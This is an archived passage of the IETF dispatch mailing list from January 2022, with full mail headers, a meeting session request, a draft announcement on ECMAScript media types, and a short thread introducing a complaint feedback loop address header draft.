cC1lbmhhbmNlZC1zdGF0dXMtY29kZXMueGh0bWxfXzshIUNRbDNtY0hYMkEhUVpUQXQ5UmstbWVR dTY4RUdqT0swNFNDWEl0ZVB1aXBrNFZrSlhuWTA2UG9xTHhIcjNmbFl5Ni1Qc1Vxdm5vX2NqTWMk Ij4NCmh0dHBzOi8vd3d3LmlhbmEub3JnL2Fzc2lnbm1lbnRzL3NtdHAtZW5oYW5jZWQtc3RhdHVz LWNvZGVzL3NtdHAtZW5oYW5jZWQtc3RhdHVzLWNvZGVzLnhodG1sPC9hPiBhbmQgdGhlIFJGQyBp dCByZWZlcmVuY2VzLjxvOnA+PC9vOnA+PC9wPg0KPC9kaXY+DQo8ZGl2Pg0KPHAgY2xhc3M9Ik1z b05vcm1hbCI+PG86cD4mbmJzcDs8L286cD48L3A+DQo8L2Rpdj4NCjxkaXY+DQo8cCBjbGFzcz0i TXNvTm9ybWFsIj4tTVNLPG86cD48L286cD48L3A+DQo8L2Rpdj4NCjwvZGl2Pg0KPC9kaXY+DQo8 L2Rpdj4NCjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg0K --_000_MN2PR11MB4351C353141FB393C028BC89F7539MN2PR11MB4351namp_-- From nobody Thu Jan 13 08:21:12 2022 Return-Path: X-Original-To: dispatch@ietf.org Delivered-To: dispatch@ietfa.amsl.com Received: from ietfa.amsl.com (localhost [IPv6:::1]) by ietfa.amsl.com (Postfix) with ESMTP id B48043A15F6; Thu, 13 Jan 2022 08:21:09 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit From: IETF Meeting Session Request Tool To: Cc: dispatch-chairs@ietf.org, dispatch@ietf.org, francesca.palombini@ericsson.com, kirsty.p@ncsc.gov.uk X-Test-IDTracker: no X-IETF-IDTracker: 7.42.0 Auto-Submitted: auto-generated Precedence: bulk Message-ID: <164209086892.21007.3891021946154007405@ietfa.amsl.com> Date: Thu, 13 Jan 2022 08:21:09 -0800 Archived-At: Subject: [dispatch] dispatch - New Meeting Session Request for IETF 113 X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Jan 2022 16:21:10 -0000 A new meeting session request has just been submitted by Kirsty Paine, a Chair of the dispatch working group. --------------------------------------------------------- Working Group Name: Dispatch Area Name: Applications and Real-Time Area Session Requester: Kirsty Paine Number of Sessions: 1 Length of Session(s): unspecified Number of Attendees: 150 Conflicts to Avoid: Chair conflict: rum stir sipcore mmusic ecrit avtcore cfrg quic httpbis add gendispatch Technology overlap: perc cellar dmarc jmap uta rmcat extra core opsarea tsvarea tsvwg secdispatch emailcore asdf sframe jsonpath webtrans regext cbor calext httpapi wpack mediaman asap sedate cdni core rtcweb Key participant conflict: acme cose dprive lamps tls mls People who must be present: Murray Kucherawy Patrick McManus Francesca Palombini Kirsty Paine Resources Requested: Special Requests: Please schedule in the 1st slot Monday morning, and list as coupled with ARTAREA. Please avoid conflicts with other ART area WGs and BoFs, other area meetings, other dispatch groups, and BoFs. --------------------------------------------------------- From nobody Fri Jan 14 06:36:36 2022 Return-Path: X-Original-To: dispatch@ietf.org Delivered-To: dispatch@ietfa.amsl.com Received: from ietfa.amsl.com (localhost [IPv6:::1]) by ietfa.amsl.com (Postfix) with ESMTP id C26943A261F; Fri, 14 Jan 2022 06:36:29 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit From: internet-drafts@ietf.org To: Cc: dispatch@ietf.org X-Test-IDTracker: no X-IETF-IDTracker: 7.42.0 Auto-Submitted: auto-generated Precedence: bulk Reply-To: dispatch@ietf.org Message-ID: <164217098972.27964.6808307095657887709@ietfa.amsl.com> Date: Fri, 14 Jan 2022 06:36:29 -0800 Archived-At: Subject: [dispatch] I-D Action: draft-ietf-dispatch-javascript-mjs-14.txt X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Jan 2022 14:36:30 -0000 A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Dispatch WG of the IETF. Title : ECMAScript Media Types Updates Authors : Matthew A. Miller Myles Borins Mathias Bynens Bradley Farias Filename : draft-ietf-dispatch-javascript-mjs-14.txt Pages : 15 Date : 2022-01-14 Abstract: This document describes the registration of media types for the ECMAScript and JavaScript programming languages and conformance requirements for implementations of these types. This document obsoletes RFC4329, "Scripting Media Types", replacing the previous registrations for "text/javascript" and "application/javascript" with information and requirements aligned with implementation experiences. The IETF datatracker status page for this draft is: https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ There is also an htmlized version available at: https://datatracker.ietf.org/doc/html/draft-ietf-dispatch-javascript-mjs-14 A diff from the previous version is available at: https://www.ietf.org/rfcdiff?url2=draft-ietf-dispatch-javascript-mjs-14 Internet-Drafts are also available by rsync at rsync.ietf.org::internet-drafts From jpb@cleverreach.com Fri Jan 14 11:24:02 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E42B03A0CB0 for ; Fri, 14 Jan 2022 11:24:02 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.099 X-Spam-Level: X-Spam-Status: No, score=-2.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=cleverreach.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id GILxNRJAsP0X for ; Fri, 14 Jan 2022 11:23:58 -0800 (PST) Received: from mail-lf1-x132.google.com (mail-lf1-x132.google.com [IPv6:2a00:1450:4864:20::132]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 15DAF3A0CA3 for ; Fri, 14 Jan 2022 11:23:58 -0800 (PST) Received: by mail-lf1-x132.google.com with SMTP id bu18so10404151lfb.5 for ; Fri, 14 Jan 2022 11:23:57 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=cleverreach.com; s=gsuite; h=message-id:date:mime-version:user-agent:content-language:from :organization:subject:to:content-transfer-encoding; bh=Obt2ITb4wXiKFwWVuehyd3JG9BrCPMKB1G3k9DO4us4=; b=gXj42/Z+hbzQC0tF/nhjvrQG0ISPek1W8C7LhzbL7s8aylBchZl7PA/Q7gwB55D56Y ILT1+51pMpczluP3+CmY7+2CyA8cx+3TT/uq4bGPhJYkz3/SUV4OCsAJce5RbHtaYAXT Urq4fj+8mhECZuhUmwNPUM66izko/gIfL4I7ovxVx3AJZH1BXkiwg8RwEbGxJl9KyDUW CdzOl7cob31ccheLFikDv4B4PIwGitQ+QhzA7P7fK8tDdaO2+1zwkSVu04ItTP9lkN6b 7wWARmKg90Dsz3D9Y6CUSzQTCQHtnaa02DMjogHu+RsphMtnBrHnKwqypD9Q75JNk7qa QCMw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:message-id:date:mime-version:user-agent :content-language:from:organization:subject:to :content-transfer-encoding; bh=Obt2ITb4wXiKFwWVuehyd3JG9BrCPMKB1G3k9DO4us4=; b=n0z0secPr5TCZTzfrF3Cz3NkIY6uesNiTpIoGjCoh0pd9oORztykqs4NdSZaeV/aQ7 YeXH+j6AvRq4U72blo7Dun0Af/uTnevxSd3TbmzakG1V3mOPjEki7X1PI0W1G16Rk/B8 P4+17mwHLpc5NQeXqkhZ5DIvGmoT01CWcIcRtj6Fw9fcAwBOfzeST41sMQwnciZBRhsa NewHN7cUgLR0+NTdXt2TqlV836LIOikjUIOFHyxEprShg1CiacfbEV/8RHpJRv6i7RBV 8M20Q72aGj6zrZKSQV+40bnUXvgZNAul03MkJofEoBY9zM3ShN5MFXYXVPb8OzSXMbUp nYKw== X-Gm-Message-State: AOAM531sbjBK5o7y61kwaAdeKTuk8i9oZ91cR5L+Ox2b7DLmPap8WA46 F2bjcSapMDxR/gO4qmse3Ni4REiUlw4x7w== X-Google-Smtp-Source: ABdhPJwIh2cw2PhuMYYBdRKELDi3BrJ6WHLKGRs3meaDgD74zAHndS5iugrF6YcyHO5LKTgCUjL3CQ== X-Received: by 2002:a05:651c:996:: with SMTP id b22mr7214553ljq.496.1642188235034; Fri, 14 Jan 2022 11:23:55 -0800 (PST) Received: from ?IPV6:2a01:c23:78c1:6200:156d:7a73:9bf7:1e73? (dynamic-2a01-0c23-78c1-6200-156d-7a73-9bf7-1e73.c23.pool.telefonica.de. [2a01:c23:78c1:6200:156d:7a73:9bf7:1e73]) by smtp.gmail.com with ESMTPSA id j12sm663529lfu.25.2022.01.14.11.23.54 for (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128); Fri, 14 Jan 2022 11:23:54 -0800 (PST) Message-ID: <4675435d-f889-b0a2-e74a-6e4b2f1d963c@cleverreach.com> Date: Fri, 14 Jan 2022 20:23:53 +0100 MIME-Version: 1.0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Thunderbird/91.4.1 Content-Language: en-US From: Jan-Philipp Benecke Organization: CleverReach GmbH & Co.KG To: dispatch@ietf.org Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Archived-At: Subject: [dispatch] Discussion about draft-benecke-cfbl-address-header X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Jan 2022 19:31:41 -0000 Hey dispatch wg! First of all, I would like to introduce myself briefly: My name is Jan-Philipp Benecke, i work as a Deliverability & Software Engineer at CleverReach GmbH & Co.KG. We're a email marketing provider offering a software-as-a-service for sending email campaigns and transactional mails. This is my first IETF related work, so i'm a newbie when coming to this :) I want to introduce you my email-related draft "Complaint Feedback Loop Address Header" which can be found @ https://datatracker.ietf.org/doc/draft-benecke-cfbl-address-header/. The intention of this draft is to have documented, standardized and automated way to provide a so called complaint feedback loop address to mailbox providers. Currently, providing and maintaining such an address is a manual and time-consuming process for both sides, email senders and mailbox providers. This draft defines the required header, how the header needs to be processed and signed by DKIM. Now i want to kick off a discussion around the draft and collect feedback. This draft has already been presented to the ISE, Adrian advised me to introduce the draft to this wg for further review and discussion. There has been already a heavy discussion while writing within the Certified Senders Alliance (https://certified-senders.eu/), which is an association of mailbox providers and senders. The conclusion of this discussion was that a larger majority is interested in such an automated path. For example, 1&1 Mail & Media, the company behind web.de/gmx.de/mail.com (major mailbox provider in Germany), is very interested in this draft and would be happy to have this. The same feedback i already got from some email senders i'm in contact with. I look forward to hear your feedback about this draft. Best, Jan-Philipp From nobody Fri Jan 14 15:43:59 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 354273A1699 for ; Fri, 14 Jan 2022 15:43:57 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.85 X-Spam-Level: X-Spam-Status: No, score=-1.85 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HEADER_FROM_DIFFERENT_DOMAINS=0.25, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=iecc.com header.b=M11UGgbC; dkim=pass (2048-bit key) header.d=taugh.com header.b=lqo0E6/L Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id XWvaFyGcqcGw for ; Fri, 14 Jan 2022 15:43:52 -0800 (PST) Received: from gal.iecc.com (gal.iecc.com [IPv6:2001:470:1f07:1126:0:43:6f73:7461]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 3B7223A1697 for ; Fri, 14 Jan 2022 15:43:52 -0800 (PST) Received: (qmail 85395 invoked from network); 14 Jan 2022 23:43:48 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=iecc.com; h=date:message-id:from:reply-to:to:cc:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:cleverness; s=14d90.61e20ab4.k2201; bh=YabTQUWtitE+6fyYKQoFz2G1plq7TiM/+ce6aRdttUw=; b=M11UGgbC7/U74sfwMVnDhYV84R0KNC0O05jT4lMAarO0a/8ofadRIbtc+pZKlvdGOWK6bhYtJScoBaI/q0JSdD+0RlMqP2QgnD1tOORQV2o0ETxhK8E6HU49dWmaUOrDhRjp8SxM/Sn1mZChWRzPA9iEiUeFC2byFijgnswNQuddX2xyKmJeeokjxiwKaRQXHjslAivuuosZSH9AlzXgydR0mH95Y3D9USwGV7e/LlfqjNJrZ0/X9PksFGrEyZ62WFkJz7v1xg3P2mFwZAW3IGUBcMmItbayQ6BmvPFd6OAO48Iz5vfjUUSSNQAgoXXmv5pL74HME1C6oYg43ejYgw== DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=taugh.com; h=date:message-id:from:reply-to:to:cc:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:cleverness; s=14d90.61e20ab4.k2201; bh=YabTQUWtitE+6fyYKQoFz2G1plq7TiM/+ce6aRdttUw=; b=lqo0E6/LWLlCPLvxO/XxahOLO8wRRdShCAmmtjAR7hIrVX6tRsr355XwhYAmoiUeJkByLHuRowcgSlJzWRZ/fvp5PIwqk7OoR3TrCg+MY9aoSw54A/LiW12cewx1Ut7eI2l69qvgS3PXvsgz+fvnNLFs69JkosmTUacvnLHc5he87xl/uZ28If+YqeO7yf79xkwmuLhhPoaZNAV7bdN6GkMAHDt3A6WqRu4buvDoX6zldpva9MA9qFS4+jjZjtkhq6VzF3wZR1TWpGEetOXTP4qvL2g4nza/fKs+niT13KY7bzSgiJlzxhJJKERAC5lUayTu0XPZaI+NWBMRfGakiA== Received: from ary.qy ([IPv6:2001:470:1f07:1126::78:696d:6170]) by imap.iecc.com ([IPv6:2001:470:1f07:1126::78:696d:6170]) with ESMTPS (TLS1.2 ECDHE-RSA AES-256-GCM AEAD) via TCP6; 14 Jan 2022 23:43:47 -0000 Received: by ary.qy (Postfix, from userid 501) id D24D334CA1FA; Fri, 14 Jan 2022 18:43:46 -0500 (EST) Date: 14 Jan 2022 18:43:46 -0500 Message-Id: <20220114234346.D24D334CA1FA@ary.qy> From: "John Levine" Reply-To: ietf-smtp@ietf.org To: dispatch@ietf.org In-Reply-To: <4675435d-f889-b0a2-e74a-6e4b2f1d963c@cleverreach.com> Organization: Taughannock Networks X-Headerized: yes Cleverness: minimal Mime-Version: 1.0 Content-type: text/plain; charset=utf-8 Content-transfer-encoding: 8bit Archived-At: Subject: Re: [dispatch] Discussion about draft-benecke-cfbl-address-header X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Jan 2022 23:43:57 -0000 Hi. The ietf-smtp list is the right place to discuss mail extensions. I'm sending replies there and will send some more substantive comments. But before that, do you belong to M3AAWG? That's where the people who you would want to implement this are. The one-click unsubscribe originated in M3AAWG discussions, so by the time it got to the IETF, we knew that mail providers would likely implement it. I can make introductions if you'd like. Regards, John Levine, johnl@taugh.com, Primary Perpetrator of "The Internet for Dummies", Please consider the environment before reading this e-mail. https://jl.ly It appears that Jan-Philipp Benecke said: >Hey dispatch wg! > >First of all, I would like to introduce myself briefly: >My name is Jan-Philipp Benecke, i work as a Deliverability & Software >Engineer at CleverReach GmbH & Co.KG. >We're a email marketing provider offering a software-as-a-service for >sending email campaigns and transactional mails. >This is my first IETF related work, so i'm a newbie when coming to this :) > >I want to introduce you my email-related draft "Complaint Feedback Loop >Address Header" which can be found @ >https://datatracker.ietf.org/doc/draft-benecke-cfbl-address-header/. >The intention of this draft is to have documented, standardized and >automated way to provide a so called complaint feedback loop address to >mailbox providers. >Currently, providing and maintaining such an address is a manual and >time-consuming process for both sides, email senders and mailbox providers. >This draft defines the required header, how the header needs to be >processed and signed by DKIM. > >Now i want to kick off a discussion around the draft and collect >feedback. This draft has already been presented to the ISE, Adrian >advised me to introduce the draft to this wg for further review and >discussion. > >There has been already a heavy discussion while writing within the >Certified Senders Alliance (https://certified-senders.eu/), which is an >association of mailbox providers and senders. >The conclusion of this discussion was that a larger majority is >interested in such an automated path. >For example, 1&1 Mail & Media, the company behind web.de/gmx.de/mail.com >(major mailbox provider in Germany), is very interested in this draft >and would be happy to have this. >The same feedback i already got from some email senders i'm in contact with. > >I look forward to hear your feedback about this draft. > >Best, >Jan-Philipp From nobody Fri Jan 14 21:22:18 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 046BF3A19F9 for ; Fri, 14 Jan 2022 21:22:16 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.812 X-Spam-Level: X-Spam-Status: No, score=-2.812 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, NICE_REPLY_A=-0.714, RCVD_IN_DNSWL_BLOCKED=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=cleverreach.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 1oHkDF9fNDEp for ; Fri, 14 Jan 2022 21:22:11 -0800 (PST) Received: from mail-lf1-x132.google.com (mail-lf1-x132.google.com [IPv6:2a00:1450:4864:20::132]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 3D78C3A0C88 for ; Fri, 14 Jan 2022 21:22:11 -0800 (PST) Received: by mail-lf1-x132.google.com with SMTP id x11so11169768lfa.2 for ; Fri, 14 Jan 2022 21:22:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=cleverreach.com; s=gsuite; h=message-id:date:mime-version:user-agent:subject:content-language:to :references:from:organization:in-reply-to:content-transfer-encoding; bh=xchgtPK/dCavZFE8sz8PJXtghZL14eyfizf7VDiLd48=; b=KaNH23Ys3FOFWV3jjs1KGjsNudAf8pTSGPiZl70dy81+s9O9oWIf5LpsaTUzE+4UOp sE5W9evJ9kXyjI1ujpaW1aXPxPaEo3tjqgPyF7SQFNeTtIHBWy6FP0vjD8/TtCJWMBnt En5wfW7bjC9kJMQ7Vb7lkiLdhVPIusirN1n0dEQ0XuvbVYbNWtz6AjidQUDix9RUaZlR aVNHSPJN3Fp8/9GP6RbkEIWNXwNdVUNXbJPSc+krNyKm5bPyDOFMdYsiuhcFBl1CJCtk 5KXYi8fqW5lTrEfRURzGw/dTV8sahy3WukukDHxljwKtkAk3hLwbwOm5TobhGjvzyDw7 4vOQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:message-id:date:mime-version:user-agent:subject :content-language:to:references:from:organization:in-reply-to :content-transfer-encoding; bh=xchgtPK/dCavZFE8sz8PJXtghZL14eyfizf7VDiLd48=; b=yx3Dp3cfFhEFgm/klNwClvIqe2lPgz1UY4/tfrq0kCDcuPChMF6IQAVjQkfUrFZ02y mvX3qBPqdMU8RpSVBEi5iCo9ZQ/+X4YP/wAB/iWen3GhfdWgFTuWTctUyE9H14rd6s45 YQxIzBfv6tzIKce1QPOKMCV6SGvv1+urTct9bq5LjkiLIckCakf1Yusk1l+sHppqyNW1 RCUCLmWUXAuISA8x3yL2a3YCAF7kaD/zDX3R+iKaArsPMm+zH1Jz4HOXby3mWLI/+DlJ A1ETMm5P2jKKlzx8xmOQftSmOqKOz4pLN3g0QGW3uMR0EgrtD6yrlEf3qhteRYQlBf68 EbGQ== X-Gm-Message-State: AOAM531MAF/c3X8cXHgNKOy4+ygB84ERxWY2T9TkafuqCQyDKCCnWK0l 4Hjgk5y6AlLwGhmkJqh9/jE1TA6MUQf2Fg== X-Google-Smtp-Source: ABdhPJwBDlrU1Np9gKDsiyo/AF3ZA4kknW/6Wq6boeA9pAeIVMyG/IuL5cwBTWotIBHHe9UQ0L5Osg== X-Received: by 2002:a05:6512:3090:: with SMTP id z16mr2840221lfd.601.1642224129024; Fri, 14 Jan 2022 21:22:09 -0800 (PST) Received: from [10.12.1.8] (dynamic-078-049-104-227.78.49.pool.telefonica.de. [78.49.104.227]) by smtp.gmail.com with ESMTPSA id n19sm770591lfq.181.2022.01.14.21.22.08 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128); Fri, 14 Jan 2022 21:22:08 -0800 (PST) Message-ID: <2332744a-930b-0c5e-1351-3a7c228c5072@cleverreach.com> Date: Sat, 15 Jan 2022 06:20:52 +0100 MIME-Version: 1.0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Thunderbird/91.4.1 Content-Language: en-US To: ietf-smtp@ietf.org, dispatch@ietf.org References: <20220114234346.D24D334CA1FA@ary.qy> From: Jan-Philipp Benecke Organization: CleverReach GmbH & Co.KG In-Reply-To: <20220114234346.D24D334CA1FA@ary.qy> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Archived-At: Subject: Re: [dispatch] Discussion about draft-benecke-cfbl-address-header X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Jan 2022 05:22:16 -0000 Hi John. Thanks for your feedback. We're currently not belonging to the M3AAWG, we may working on this later the year. I would be more than happy if you could introduce this to the M3AAWG. Best, Jan-Philipp Am 15.01.22 um 00:43 schrieb John Levine: > Hi. The ietf-smtp list is the right place to discuss mail extensions. > I'm sending replies there and will send some more substantive comments. > > But before that, do you belong to M3AAWG? That's where the people who > you would want to implement this are. The one-click unsubscribe > originated in M3AAWG discussions, so by the time it got to the IETF, > we knew that mail providers would likely implement it. I can make > introductions if you'd like. > > Regards, > John Levine, johnl@taugh.com, Primary Perpetrator of "The Internet for Dummies", > Please consider the environment before reading this e-mail. https://jl.ly > > > > It appears that Jan-Philipp Benecke said: >> Hey dispatch wg! >> >> First of all, I would like to introduce myself briefly: >> My name is Jan-Philipp Benecke, i work as a Deliverability & Software >> Engineer at CleverReach GmbH & Co.KG. >> We're a email marketing provider offering a software-as-a-service for >> sending email campaigns and transactional mails. >> This is my first IETF related work, so i'm a newbie when coming to this :) >> >> I want to introduce you my email-related draft "Complaint Feedback Loop >> Address Header" which can be found @ >> https://datatracker.ietf.org/doc/draft-benecke-cfbl-address-header/. >> The intention of this draft is to have documented, standardized and >> automated way to provide a so called complaint feedback loop address to >> mailbox providers. >> Currently, providing and maintaining such an address is a manual and >> time-consuming process for both sides, email senders and mailbox providers. >> This draft defines the required header, how the header needs to be >> processed and signed by DKIM. >> >> Now i want to kick off a discussion around the draft and collect >> feedback. This draft has already been presented to the ISE, Adrian >> advised me to introduce the draft to this wg for further review and >> discussion. >> >> There has been already a heavy discussion while writing within the >> Certified Senders Alliance (https://certified-senders.eu/), which is an >> association of mailbox providers and senders. >> The conclusion of this discussion was that a larger majority is >> interested in such an automated path. >> For example, 1&1 Mail & Media, the company behind web.de/gmx.de/mail.com >> (major mailbox provider in Germany), is very interested in this draft >> and would be happy to have this. >> The same feedback i already got from some email senders i'm in contact with. >> >> I look forward to hear your feedback about this draft. >> >> Best, >> Jan-Philipp From nobody Tue Jan 25 11:36:20 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 596963A02BD for ; Tue, 25 Jan 2022 11:36:18 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.675 X-Spam-Level: X-Spam-Status: No, score=-2.675 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_HIGH=-0.576, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, RCVD_IN_MSPIKE_H2=-0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=apple.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id xepKirEHa0o4 for ; Tue, 25 Jan 2022 11:36:14 -0800 (PST) Received: from rn-mailsvcp-ppex-lapp34.apple.com (rn-mailsvcp-ppex-lapp34.rno.apple.com [17.179.253.43]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 246633A02D0 for ; Tue, 25 Jan 2022 11:36:14 -0800 (PST) Received: from pps.filterd (rn-mailsvcp-ppex-lapp34.rno.apple.com [127.0.0.1]) by rn-mailsvcp-ppex-lapp34.rno.apple.com (8.16.1.2/8.16.1.2) with SMTP id 20PJZ1kr007020 for ; Tue, 25 Jan 2022 11:36:13 -0800 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=apple.com; h=from : content-type : mime-version : subject : message-id : date : to; s=20180706; bh=7PDv1+3TUVK5C3YxSmcinWNsVUhA13IXDAdpizzaBXg=; b=TR7pyhc3rpmolXeH5MoGO/+0XknC2dsYAV4XTCyKkIgYW2LcT/6tEbs9zfnz5HneqEyZ H7+cTatY50/mbrpHCev/zSWiFlVXa8L6hapR66hzLQR4LIW2gkZZABcva+uMkt2+5K/C vwh/9A2OGuasqqUvE5TPCGU1VVQWH3ke+tScHgNVUvIr24RO6/WdmIXa2bm9Oo/neMCQ zrYOStfn9l/6itHPp24hd8Z/plJnarR4ZO0ZXncsEJx3/vJVwtIdXk5gu0uZgAvGbNZn aSrJauqgfIRYUmvkyVVklwUHK/AiW0rDGFcXTwVLvEWo1pmixIMxo4c1UhKKlJO4VJWw 2g== Received: from rn-mailsvcp-mta-lapp01.rno.apple.com (rn-mailsvcp-mta-lapp01.rno.apple.com [10.225.203.149]) by rn-mailsvcp-ppex-lapp34.rno.apple.com with ESMTP id 3dren4txyu-5 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 25 Jan 2022 11:36:13 -0800 Received: from rn-mailsvcp-mmp-lapp02.rno.apple.com (rn-mailsvcp-mmp-lapp02.rno.apple.com [17.179.253.15]) by rn-mailsvcp-mta-lapp01.rno.apple.com (Oracle Communications Messaging Server 8.1.0.12.20210903 64bit (built Sep 3 2021)) with ESMTPS id <0R6A0101B6GDO1M0@rn-mailsvcp-mta-lapp01.rno.apple.com> for dispatch@ietf.org; Tue, 25 Jan 2022 11:36:13 -0800 (PST) Received: from process_milters-daemon.rn-mailsvcp-mmp-lapp02.rno.apple.com by rn-mailsvcp-mmp-lapp02.rno.apple.com (Oracle Communications Messaging Server 8.1.0.12.20210903 64bit (built Sep 3 2021)) id <0R6A00E006C8HQ00@rn-mailsvcp-mmp-lapp02.rno.apple.com> for dispatch@ietf.org; Tue, 25 Jan 2022 11:36:13 -0800 (PST) X-Va-A: X-Va-T-CD: 74e0fe049f0018981425c9e9dd736fce X-Va-E-CD: 0b9986e3870810814f04fc3a33786dcb X-Va-R-CD: 9bb15afb61c1370a2f073c79b863b7ea X-Va-CD: 0 X-Va-ID: 7719e0e2-4855-427e-88fb-d2540c23999d X-V-A: X-V-T-CD: 74e0fe049f0018981425c9e9dd736fce X-V-E-CD: 0b9986e3870810814f04fc3a33786dcb X-V-R-CD: 9bb15afb61c1370a2f073c79b863b7ea X-V-CD: 0 X-V-ID: 689d7d1d-cfb1-4e31-8c74-156d5e6826b3 X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:6.0.425, 18.0.816 definitions=2022-01-25_04:2022-01-25, 2022-01-25 signatures=0 Received: from smtpclient.apple 